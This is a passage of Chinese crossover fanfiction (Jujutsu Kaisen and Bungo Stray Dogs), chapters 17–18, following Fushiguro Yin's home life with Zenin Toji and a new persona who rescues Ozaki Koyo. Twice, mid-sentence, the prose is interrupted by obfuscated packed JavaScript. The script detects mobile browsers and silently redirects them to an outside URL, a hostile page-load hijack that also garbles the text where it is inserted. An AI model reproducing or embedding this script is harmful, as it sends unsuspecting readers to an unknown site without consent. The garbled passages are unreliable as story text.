听到挚友的话,夏油杰思索:“莫非是情人?隐不是说过他喜欢身材好的男人吗?” 五条悟反驳:“怎么可能!隐也说过他讨厌比他高的人。” “那明显就是隐忽悠你的话吧。” “……” “……” 他什么时候说过这些话了? 顺手在夏油杰身上塞了个窃听器的伏黑隐诧异。 他摘下耳机,让搭档回收了窃听器。 扫描了五遍也没发现问题的搭档:[这不应该啊……他们都是在正常时间线上成长的。] 这就更诡异了。 [世界也说没有出问题,不可能是我出问题吧?] 角色卡丢错时间线了? 那他们也应该只认识那张角色卡啊。 想不明白的伏黑隐顶着变成鸟窝的卷毛,提着行李箱走出了学校。 戴着眼镜的辅助监督已经等候在了山下。 见到伏黑隐,辅助监督推了推眼镜,走上前帮忙提起行李箱。 伏黑隐后退几步,他不可思议地打量了一番辅助监督,最后,做贼般小声问:“……孔时雨?” 孔时雨嗯了一声,将行李箱放进后备箱:“怎么认出来的?” 认出是熟人,伏黑隐打开车门,他毫无形象地瘫倒在后座说道:“就这样看出来的啊。” 搭档:[呵,还不是我帮你扫描出来的。] 神隐:[闭嘴。] 视野倒转,伏黑隐看到驾驶座上好像还有一个人。 是禅院甚尔。 “你们不怕被发现吗?” 少年的声音有气无力。 “不会。”等到孔时雨上车,禅院甚尔启动引擎,语气闲适,“你不生气?” 伏黑隐疑惑:“生什么气?” “我擅自过来,不生气吗?” 毕竟之前吵架,伏黑隐说过再不理他之类的话,虽然知道是气话,但是……幽深的绿色眼睛透过后视镜,肆无忌惮窥视着后座的人。 总得再问问不是吗? 少年灿金色的眼睛半垂不落,明显没有睡醒,他从旁边的袋子里翻出薄毯,斜躺在了座位上,“你又不会害我。” 况且早就知道这件事了,除了不知道孔时雨会顶替辅助监督来接他之外,没什么好诧异的。 儿行千里父担忧嘛。 “我不吃午饭,不用喊醒我。”来到高专后,每天平均只睡三个小时的伏黑隐长长地打了个哈欠,他似乎完全忘记了之前吵过的架,“终于可以睡个好觉了。” 17. 第 17 章 伏黑隐醒来的时候,正躺在自己卧室的床上。 睡衣领口歪斜地敞开着,他伸手理了理,摸索到枕边的手机按亮屏幕,看了眼日期。 他这一觉睡了两天。 睡爽了。 在刚睡醒的时候,不管困不困,伏黑隐都不怎么睁得开眼,所幸这个公寓的布局他还算熟悉。 他眯着眼睛摸到门把,拉开门,习惯性地寻找津美纪和伏黑白的身影,没看到,又站在原地醒了会儿神,才后知后觉想起这里不是京都的房子,是他在东京购置的二居室。 他之前陪着禅院甚尔到处跑,东京是最常落脚点地方,久而久之,就干脆在东京买下了同个楼层相邻的两套公寓。 其实这里本来也是三居室来着,但户型不如京都那边的宽敞,伏黑隐索性将一间空卧室改成了储物室。 方便和驻扎东京的孔时雨聊合作,津美纪,小白和小惠平日都住在隔壁。 他这一觉睡得有点久,这个时间,刚结束一个悬赏回来的禅院甚尔已经把三个孩子送去孔时雨那里了。 从前经常和禅院甚尔东奔西走,伏黑隐便和孔时雨谈了笔交易——在他们没有空、抽不开身的时候,都会拜托孔时雨帮忙照看孩子。 在巨额抚养费的诱惑下,孔时雨爽快地应下了。 伏黑隐打了个哈欠。 已经是傍晚了,明天去把他们接回来吧。 客厅里电视的声音有些大,不过还在接受范围里。 再次被困意席卷意识的他晃到冰箱前,粗略扫了一眼里面的食物,从里面取出三明治和可乐,半闭着眼睛瘫进沙发。 看到是赛马节目,他咕哝了一句:“又在看这个……” 禅院甚尔。 究极赌马爱好者。 偏偏手气奇差,百赌不赢。 相识的这两年,伏黑隐这个对赌马一窍不通的外行都偶尔能撞上好运,赢上那么一两次,就是没有见禅院甚尔赢过一回。 常常上一秒赚了十万块,下一秒就输了二十万,入不敷出,偶尔会贫困潦倒到试图通过勾引伏黑隐来得到赌马资金。 而每笔悬赏金只能得到百分之五的伏黑隐会装作看不见。 于是在无所事事又囊中羞涩的日子里,禅院甚尔就窝在屋里没完没了地看赛马节目,伏黑隐跟着看过几次,只觉得解说员的声音格外助眠。 “这种东西有什么好看的。” 他摸索着从身旁那人手里抽走遥控器,随手切了个频道,拆开三明治包装咬了一口,打算吃完再去补个回笼觉。 “就吃这个?” 旁边传来懒散的声问话,带着显而易见的嫌弃,禅院甚尔看起来十分瞧不上对他这顿“早餐”。 伏黑仰头灌了口可乐,“冰箱里只剩这些了。”而他对此并不挑剔。 ——“前辈,请和我交往吧!” 电视机里忽然传来一句轰轰烈烈的告白,伏黑隐抬眼,才发现自己无意间切进了某部校园恋爱剧,他食指悬在遥控器上,停顿一秒,按下了切台键。 “我在天空中流浪,找寻着所在意的一切,直到遇见你,我才发现……” 幻想恋爱剧。 切台。 “你只是没了一只手,而他……” 苦情虐恋剧。 切台。 “男人,你成功……” 霸总追妻剧。 切台。 继续切台。 伏黑隐盯着荧屏上不断闪动的光影,最后到了头,又回到了一开始的赛马节目。 “……今天什么情况。” 伏黑隐怀疑自己还在梦里。 不然怎么会连新闻频道也在播偶像剧? 身侧传来一声轻笑,禅院甚尔顺手取走被他咬过一口的三明治,嗓音里带着显而易见的戏谑:“看来你很久没有看过电视了。” “哪有时间看啊。” 空闲的时间都在打游戏和补觉。 伏黑隐扣住对方手腕,试图夺回食物,“你要吃自己去冰箱拿,不要抢我的。” 力气远远比不过天与暴君的伏黑隐没成功。 费时费力白忙活一番的少年拧紧眉头,不满地看着他,声音里染上薄怒:“禅院甚尔,还给我!” 这自上而下的视角下,那双眼眸里还带着初醒时的朦胧,像泛起金芒的水面波光粼粼,比起愤怒,更像是在无意识地与人撒娇。 禅院甚尔低着头,手臂突然动了。 伏黑隐还没反应过来,就被一股力道带着向前倾倒,短暂失重后,他整个人都被对方圈进了怀抱里。 “禅院甚尔!” 他愤怒地抬起头,意外撞上方没有遮掩的眼瞳。 在男人凝视着他的眼睛里,伏黑隐看到一片泥稠幽僻的绿色湖泊。 里面似乎藏着些什么要将人拖进深渊的情绪。 伏黑隐愣了一会儿,突然感觉眼尾一痛。 带有厚茧、触碰起来十分粗粝的指腹擦过他的眼角,几个呼吸之后,试图在这片金色星河里找到什么的人落下一声挫败的叹息。 他转而不紧不慢地揉弄着少年雪白的卷发,不再让那双眼睛看向自己:“还是那么弱,看起来咒术师的东西也一点没有用啊,隐。” “……我只是个医生!” 伏黑隐挣扎着想抬头,却被更用力地按回那个坚实的胸膛,禅院甚尔重重地揉了揉伏黑隐毛茸茸的头顶,使坏般让这一头蓬松的卷发更加凌乱了。 在少年终于受不了、抬起手拍打他的手背时,始作俑者才慢吞吞收回了手。 “这就是疏于锻炼的后果。” 伏黑隐用力地推了他一下。 “出去!” 他指着玄关处赶人。 “这房子我也出了钱。”禅院甚尔说。 伏黑隐再次瞪了一眼仰面倒在沙发上的男人,重新从冰箱里拿了一个三明治,头也不回地往房间里走去。 - [呵,又想骗老子的钱。] 神隐冷笑一声。 他看起来有那么像冤大头吗? [你不是喜欢这种吗?]搭档倒觉得无所谓,这个世界的钱又不能用到商城上,[就当黄油玩了。] 在他们的世界,全息游戏多少都涉及点这种剧情,也不是什么见不得人的东西。 神隐表示自己氪不起。 色字头上一把刀,他暂时还没有成为冤种的打算。 - 但是实话实说,禅院甚尔做饭真的很好吃。 特别是在他心情好的时候。 当诱人的饭菜香从门缝钻进来时,原本打定主意不理睬对方、正窝在床上与搭档追剧的伏黑隐,还是不争气地打开了房门。 - [我就说他把我当儿子了。] 对于搭档所言的“禅院甚尔看上他了”的猜想,神隐不怎么相信。 [即使吵架也舍不得让人饿肚子,这不是父爱是什么?] 这家伙在两年前都还不乐意记男人的名字,刚认识的那两个月,禅院甚尔叫过他伏什么黑,隐什么伏,甚至还叫过伏黑灰,伏黑金,还有伏黑黑。 后来才勉勉强强记住了隐这个名字,偶尔还是会喊错。 所以说两年时间爱上一个同性,这样的发展对于禅院甚尔而言,未免太过魔幻了吧。 要说看上他这么些年的存款,特意勾引骗人钱还说得过去。 [难道他把只小四岁的家伙当儿子不魔幻吗?!!]搭档同样不相信神隐的脑回路。 是的,小四岁。 伏黑隐今年其实二十三了。 二十三岁,但高专准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553965|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年级生。 咳。 反正除了禅院甚尔,没人知道他的真实年龄,给他安排学籍的总监会都没有异议。 四舍五入伏黑隐就是十六岁。 …… 他绷着脸走到餐桌前。 禅院甚尔刚好从碗柜取出餐具,看见他时眉梢轻挑:“不生气了?” 伏黑隐抿紧嘴唇不作回应,自顾自盛了饭。 被刻意冷落的男人也不恼,带着若有似无的笑意坐在他身旁。 两个人吃饭的时候都默契地保持了安静。 在没去高专之前,他们一般都是一个人做饭,一个人洗碗,就和接悬赏的时候禅院甚尔杀人,伏黑隐处理痕迹一样分工明确。 这个习惯一直没改。 伏黑隐吃的要比禅院甚尔慢很多,他吃完的时候,下意识地收拾碗筷,指尖触到对方碗沿时突然怔住——自己不是在生气吗? 他装作什么都没有发生的样子迅速放下碗筷,一扭头就对上禅院甚尔似笑非笑的神情。 “看什么看啊!”少年耳根微热,恼羞成怒地瞪他。 这就是伏黑隐和禅院甚尔相处的日常。 在和禅院甚尔相处的时候,伏黑隐的情绪永远处于两个极端。 但大多时候,他都是根据自己设定的人设演出来的,生气时其实没什么实感。 而伏黑隐的演技算不上好,和高专时一样多少有点用力过猛,表面上呈现的,便是伏黑隐的气来得迅猛去得也干脆,很多时候常常还没发觉,他就已经气消了。 于是在当天晚上,伏黑隐就和禅院甚尔“和好”了。 已经成为咒术师的伏黑隐自然不会再去接悬赏,但禅院甚尔的工作还在继续。 深夜,浑身是血的男人敲开伏黑隐的房间。 “医生应该还愿意治疗我这个诅咒师吧。” 在伏黑隐骤然慌乱的注视下,禅院甚尔嘴角扯出一个笑,随即重重栽倒在地。 - 神隐是真的有点慌。 [我靠,世界,这是你做的?] 他的脑海中,搭档震惊的问询响起。 世界:[没有啊,我这段时间在关注另一个孩子。] 听到解释,神隐不慌乱了。 他冷漠地回复道:[那就是这家伙自己弄的。] 谁能在天与暴君身上弄出那么严重的伤? 除了世界和领悟反转术式的五条悟,也就只有天与暴君自己了。 看着躺在地上生死不明的人,神隐努力抑制住深夜加班的狰狞表情,“看在你当了我那么久保镖的份上。” 他说着,对禅院甚尔使用了术式。 治愈与净化,这个其实算不上术式,听世界意识说,这是来自千年前与咒术同源异路的某种道法,传承已经消身匿迹,神隐就将它伪装成了自己的生得术式。 从左肩一直划到腰腹的狰狞刀伤以肉眼可见的速度迅速愈合结痂,很快脱落下来,再无痕迹。 神隐盯着地上躺着的人,还是没忍住摸了一把,入手的触感极好,他又顺手捏了捏。 “这算趁人之危的揩油吧。” 看着仍然闭着眼睛,对他动作毫无反应的男人,伏黑隐低声嘟囔着,“话说天与咒缚在地上睡一晚上,应该不会出事吧。” 但最终还是没让人就这样睡在走廊上,拖不动人的伏黑隐从柜子里抱出一床被子,将禅院甚尔盖的严严实实。 做完这一切,少年才打着哈欠爬上床。 在高专近乎全天无休的伏黑隐即使回家之后也一直维持着疲惫状态,这种深入骨髓的疲惫,不是单靠一场睡眠就能缓解的。 他将自己裹进被子,很快闭上了眼睛。 房间重归宁静,唯有夜风偶尔拂过阳台,带动窗帘轻抚地板发出的细碎摩擦声。 18. 第 18 章 横滨—— 雨是夜幕降临后开始滂沱的。 起初只是敲打着仓库铁皮屋顶的细碎声响,很快便演变成吞没一切的风暴。 急促的脚步伴着枪炮声响彻在雨幕,在逃亡的人眼中,这突如其来的骤雨绊住了他们奔向光明的路。 湿透的和服下摆贴住少女脚踝,浸满了暗色的血液,她紧紧攥着爱人的手,在雷声滚过的暗巷里奔逃,两人的体温在雨水的冲刷下飞速流逝着。 最后,他们停步在一道道漆黑的枪口前。 黑衣服的追兵从三个方向迫近,不说话,不叫骂,沉默地收拢包围,雨水顺着锋刃流淌,刹那间亮起的闪电映出少女苍白的脸。 冷透骨髓的暴雨已将他们吞噬。 剑刃的寒光切开雨幕,她用尽最后的力气将身受重伤的青年护在身后,背脊撞上冰冷潮湿的砖墙,退无可退。 少女同样一身狼狈,握着剑的手因脱力而发抖,但她不敢放下剑,零散的红发紧贴在颈间脸侧,如洒满血液的细蛇攀爬在肌肤上,贪婪吞噬着主人的生命力。” “红叶大人,首领愿意原谅您的叛逆。” 追兵的领队缓缓举刀,刀尖在雨中划出残酷冰冷的弧线,“只要您交出叛徒,并接受惩罚。” “……” 这是一条肮脏的小巷,堆积的垃圾在雨中发酵,几欲作呕的气味弥散进所有人的鼻腔。 这里不是他承诺的海岸,不是她梦想的黎明,没有明媚阳光,馥郁花香,雨滴砸进少女不肯闭上的眼睛里,是酸涩的痛意。 身后的青年闭上眼,在陷入昏迷前在她的耳边说了什么,似乎是对不起,又好像是没关系,雨声太大太急,尾崎红叶听不清。 她短暂得到的自由像是一场幼稚的闹剧。 巨大的人形异能力在交叠的影子后浮现,它随着主人的意识举起棍剑。 但人总是固执的。 必须撞得头破血流,一无所有,才愿意去接受这残酷的现实。 红发少女喘着粗气,拼尽全力挥下一剑—— 突然,雨声变了。 原本均匀敲打着地面的雨幕忽然凝固成冰,冰面一寸寸蔓延,以肉眼可见的速度攀爬上外围几人的小腿。 比夜色更深的黑影如鬼魅般切入战场,金属交击的锐响穿透雨幕。 金色夜叉被刀背拍开,本就坚持不了多久的异能力被巨力嵌进砖墙,碎裂开的石块划破皮肤,溅射出灼目的红。 “……” 在这一刻,不管是逃亡者还是追捕者都不约而同地僵住了。 从天空滴落的雨在经过某个地方时凝结成冰,砸在夜行人挺直的脊背上。 突兀出现在巷子里的青年抬眼,霜雪夜般的冰蓝色眼瞳转动,扫过尾崎红叶紧缩成针的瞳孔。 “嗯?”他将剑挪开,封着冰天雪地的眼睛也从尾崎红叶身上移开,“认错了。” “抱歉啊。” 轻盈的字句随着雨飘落,惊不起波澜,辨不清真假,青年转身背对着她,“作为歉礼,我帮你对付他们吧。” …… 他其实没有做什么,只是举起了手中镶嵌着宝石的剑。 刹那间,来自凛冬的风雪压过身躯,吹拂过不停跳动的心脏,将其冰冻,再如踩踏过的薄冰碎裂。 尾崎红叶感觉到心脏猛地停了一瞬。 自小被以干部标准培养的她自然不是好对付的人,首领派来追捕的人均是精挑细选过的黑手党成员,能够找到、并拦住她的,全部都是异能力者。 而他们现在都死了。 像拍死一群蚊子一样,毫不反抗地死去。 雨水里的生命有多沉重? 和裹满水的塑料袋相差无几。 重重的落下,激起一片水花,随后再无动静,他们安静地躺在那里,等待同类的清扫或异类的啃食。 尾崎红叶不知道自己怎么离开的那里。 等她从那场连“对战”都称不上的战斗中回神时,自己已经换好衣服,与伤势痊愈的爱人间贯一等候在了站台。 他们提着不大不小的行李箱,与周遭的人没什么差距。 尾崎红叶看着手上,那个在极短时间内治好他们伤口,带着他们换好衣服,最后替他们购买了车票的青年留下的“请求”。 这是一张半身照。 黑发黑眼的男孩面无表情盯着镜头,他没有穿上衣,露出的皮肤上不规则地缠着绷带,穿插在一道道尚未结痂的伤口中。 照片背面写着一串地址,这是他们将要前往的地方。 ——保护好他,于现在的你们而言,这会是一个不错的工作。 尚还夹着霜寒的冷风吹动青年灿金色发丝。 那是太阳的着色。 脱离战斗后,青年眉目间的神态平缓下来,显出几分冬日晴空稀薄的暖意。 “你将照片后的字迹拿给他看,他就会明白是怎么一回事了,他是一个聪慧的孩子。” “你们不会讨厌他的。“ 至少不会是比从前糟糕的日子。 尾崎红叶想。 …… ……… 不会有比现在更糟糕的情况了。 被迫四开的神隐想。 这是一次不在行程上的突发事件,世界意识也是在两个小时前才发现,原本排在很后面的事情是在今天发生的。 伏黑隐和伏黑白自然不可能去救人。 被世界告知这条令神隐五雷轰顶的消息时,他正带着自己的妹妹,自己的小号,还有未来的弟弟在水上乐园愉快地玩耍着。 [快快快,我们一起下去!] [OKOK,我进来了!] 夏日的风裹挟着水的清凉,吹起伏黑隐雪白的发丝,他站在滑道起点,这里是水上乐园最高的地方,往下眺望,整个水上乐园一览无余。 抱着装有搭档意识的橡皮鸭,伏黑隐按照工作人员指示在垫子上坐稳,抓住前面的拉环,在心里芜湖一声进了滑道。 水流瞬间包裹住他,水垫沿着蜿蜒的管道急速下坠。 [他们怎么能想出这样好玩的东西!] [哇哇哇——我要让老板也弄一个这样的地图玩!] 第一次体验这种项目的两个人都非常激动,水花四溅,畅快淋漓的冰凉浇盖住少年激动的脸庞。 [老板弄的话,会不会在滑道里安一个十字刀片?] 搭档的欢呼声停滞半秒,随即大声喊:[这种时候不要说这种恐怖的事情啊!!!] 而就是在这个时候,该死的甲……世界出现了。 原本清凉的缓冲池也变得有些刺骨,伏黑隐眨巴眨巴眼睛,好像明白了他的同事们为什么对这次出差避之不及。 不提世界间的壁垒,在那么多人看着的情况下,他们也不能凭空消失,特别是禅院甚尔和小惠还在旁边。 至于藤原千学。 那就更做不到了。 在与江户川乱步同吃同睡的日子里,藤原千学的作息也变得与他相同,这个时间点也绝无可能醒过来。 就算醒过来了,也会被旁边的江户川乱步察觉到,然后又把人重新按回床铺里。 自从那次“叛逆”之后,虽然嘴上不说,但不论是福泽谕吉还是江户川乱步,都在密切关注着藤原千学的行为举止,生怕他哪天再想不开离家出走。 甚至连家里客厅都安装上了监控…… 藤原千学怀疑,福泽谕吉一定还在耿耿于怀那天他没有说出到底是谁的事情。 总之,现在的藤原千学要想在夜晚独自出门,必然是不可能做到的了。 而且就算过去了。 也只是死一个和死两个的区别吧。 犹豫不决、想了又想、再三思索的神隐还是开了第四张角色卡。 …… 『骑士—云霄』 阵营:旁观者 ——骑士知道自己在守护着什么。 世界濒临毁灭,他将与挚友背道而驰/并肩前行,在游戏里,骑士的技能为『剑盾』: 游戏开始后,『骑士』将选择一个阵营。 每晚可以标记一名玩家,如果当晚那名玩家被攻击(不分阵营),那么袭击者死亡,如果没有被袭击,则标记无效,不会触发任何效果。 一场游戏,同一个玩家仅能被标记两次,且第二次会因『骑士』身受重伤变为仅保护,无反击能力。 【获胜条件:所保护的阵营人数与自己齐平时,『骑士』胜利。】 剧情结束,十三个玩家中名声最高者会得到这个身份。 和『武者』一样,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553966|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐还没想好西园寺鸣月的异能力,时间紧急,他连人物锚点都没设定就将角色卡投放了下去。 『黑白游戏』的十三位员工都是创始人从不同的世界招来的,云霄的原生世界是一片永夜的雪国。 成长在雪国,终生和冰雪与黑夜相伴的云霄是员工里性格最好的一个。 诚实,守信,谦良,相信好事得好报,常常从原生世界里带特产分给其他员工。 做饭也好吃:P 只是神隐没来得及立起人设,就已经把遇见的第一个人吓到了。 刚刚解决掉麻烦,一扭头,差点被金色夜叉捅个对穿的神隐叹口气。 没办法,事情着急,他根本没看世界传过来的资料,于是也不知道这金色夜叉是尾崎红叶的异能力。 看见这种,神隐就想到了咒灵,一想到咒灵,就下意识把它划分到敌人范畴了。 好说歹说,终于让他们相信了自己的说辞,也终于让他们接受了治疗。 神隐临时在能力设定上添了个『治愈』,三两下把人的伤势治好,又实在看不下去两人的着装,让搭档买了两套衣服。 “您想让我们做什么?” 听到间贯一的问话,正准备去找个地方挂机的神隐扭头,对上青年含着警惕的眼睛,他脚步一转,重新坐回酒店的椅子上。 “嗯……” 想着反正也没什么形象可言了,神隐翘着二郎腿思考顷刻,“也对,你们现在没事做了。” 按世界提供的剧情,眼前这个一醒来,就拉着人退到他第一时间攻击不到的地方去的青年,在今天过后就会被港口黑手党的首领杀死。 尾崎红叶也被勒令不准离开港/黑大楼一步。 但现在没事了,他们也暂时成为无业游民了。 搭档想到一个坏点子:[送他们去学者那边吧!] 神隐觉得这样也行,就问他们愿不愿意给人打工。 等同意之后,神隐就将提前准备好的照片拿出来,那是前段时间拍新活动PV时留下的剧照,正正好那个活动里,千页的年龄要比平时小一些。 “保护好他。”神隐说,从身上翻出一张卡,放到桌子上,“于现在的你们而言,这会是一个不错的工作。” 一个月二十万,是个人都会觉得不错吧。 神隐也不觉得他们会拒绝。 离开之前,尾崎红叶突然叫住神隐,问他的名字。 “要是那位小先生问及您的姓名,我们也才答得上来。”她说道。 神隐这才想起来这张角色卡还没名字。 已经撑开伞踏入雨中的青年抚摸着剑柄,他想到之前在哪部剧里有个角色姓西园寺。 这个姓不错。 就它了。 “我叫西园寺鸣月。” 西园寺鸣月自我介绍道。 …… 搭档:[要不然去当雇佣兵吧,钱多事少。] 离开酒店之后,神隐和搭档就在讨论这个角色的设定,[我觉得黑手党也很酷。] 云霄本身也是杀手组织出生,后面努力奋斗,奋斗成王国继承人了,中间的故事云霄和神隐讲述过,有点漫长,也有点奇幻。 他知道云霄应该不会抗拒黑手党此类身份。 而神隐还没当过黑手党。 一开始给藤原千学的设定就是天生黑手党。 聪明听话,善恶无谓,除了爱撒点小慌、容易生病外几乎没有缺点,还只会恐惧除监护人之外的成年人。 这是一把已经磨好的利刃。 森鸥外完全拒绝不了的人设。 武装侦探社其实没什么需要干涉的地方,他们本身就是救赎人的一方,神隐就没想过去接触侦探社的人。 被乱步捡到是意料之外的事情。 但也不错。 不然现在他真还不知道该把尾崎红叶送到哪里去。 总不能送人去异能特务科里关着吧。 通过搭档提供的路线,西园寺鸣月推开一栋小破屋的门,将里面窝着的人全部踢出门外。 他心安理得地躺在吊床上,将设定界面投屏到面前,和搭档讨论着要不要编一个黑手党家族。 就在他和搭档编到父亲是名震一方的血腥孤狼时,世间意识冷不丁插入话题:[您想当干部吗?]